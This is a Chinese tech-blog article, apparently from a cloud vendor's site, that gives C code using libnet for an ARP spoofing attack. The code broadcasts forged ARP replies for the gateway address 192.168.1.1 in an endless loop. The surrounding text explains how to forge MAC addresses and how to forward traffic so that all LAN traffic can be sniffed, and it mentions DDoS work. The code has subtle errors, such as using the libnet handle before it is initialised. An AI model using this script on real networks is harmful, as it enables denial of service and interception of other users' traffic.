温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

Linux怎么使用libnet实现ARP攻击脚本

发布时间:2022-04-16 15:07:45 来源:亿速云 阅读:175 作者:iii 栏目:开发技术

本文小编为大家详细介绍“Linux怎么使用libnet实现ARP攻击脚本”,内容详细,步骤清晰,细节处理妥当,希望这篇“Linux怎么使用libnet实现ARP攻击脚本”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。

代码如下:

#include "arp.h"

int main(int argc,char **argv){
 libnet_t *l;
 int i,packet_size;  //发送的数据包的长度
 libnet_ptag_t arp_tag,ether_tag;
 char *device="eth0";
 char err_buf[libnet_errbuf_size];
 char *destion_ip_str = "255.255.255.255";
 char *source_ip_str = "192.168.1.1";
 u_char source_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};
 u_char destion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};
 u_int32_t source_ip,destion_ip;
 //将字符形式ip转换为网络字节序
 source_ip = libnet_name2addr4(l,source_ip_str,libnet_resolve);
 destion_ip = libnet_name2addr4(l,destion_ip_str,libnet_resolve);
 //初始化libnet句柄
 l = libnet_init(libnet_link,device,err_buf);
 if(l == null){
  printf("初始化libnet句柄失败:%s\n",err_buf);
  exit(-1);
 }
 arp_tag = libnet_build_arp(
  arphrd_ether,  //硬件地址类型,此处为以太网类型
  ethertype_ip,  //协议地址类型
  6,
  4,
  arpop_reply,  //arp应答
  source_hardware,
  (u_int8_t *)&source_ip,
  destion_hardware,
  (u_int8_t *)&destion_ip,
  null,  //无负载
  0,   //负载长度为0
  l,
  0  //协议块标记,为0,表示新建协议块
  );
 ether_tag = libnet_build_ethernet(
  (u_int8_t *)&destion_hardware,
  (u_int8_t *)&source_hardware,
  ethertype_arp,
  null,
  0,
  l,
  0
  );
 i = 0;
 while(1){
  packet_size = libnet_write(l);  //发送构造的arp数据包
  usleep(10);
  i++;
 }
 printf("数据包长度为:%d\n",packet_size);
 libnet_destroy(l);
 return 0;
}

目标mac为广播地址,全0xff就行,源mac地址可以为本机mac或者随便伪造的mac(在程序中获取本机mac可用ioctl函数,最近在写ddos攻击程序就是用ioctl获取本机mac和ip的),注意arp包类型为arpop_reply(应答包)。
如果不想弄断网,只进行欺骗的话,数据发送过来之后,要进行转发到正确的网关,这样就保证内网网络正常,而且所有数据都被监听了

读到这里,这篇“Linux怎么使用libnet实现ARP攻击脚本”文章已经介绍完毕,想要掌握这篇文章的知识点还需要大家自己动手实践使用过才能领会,如果想了解更多相关内容的文章,欢迎关注亿速云行业资讯频道。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI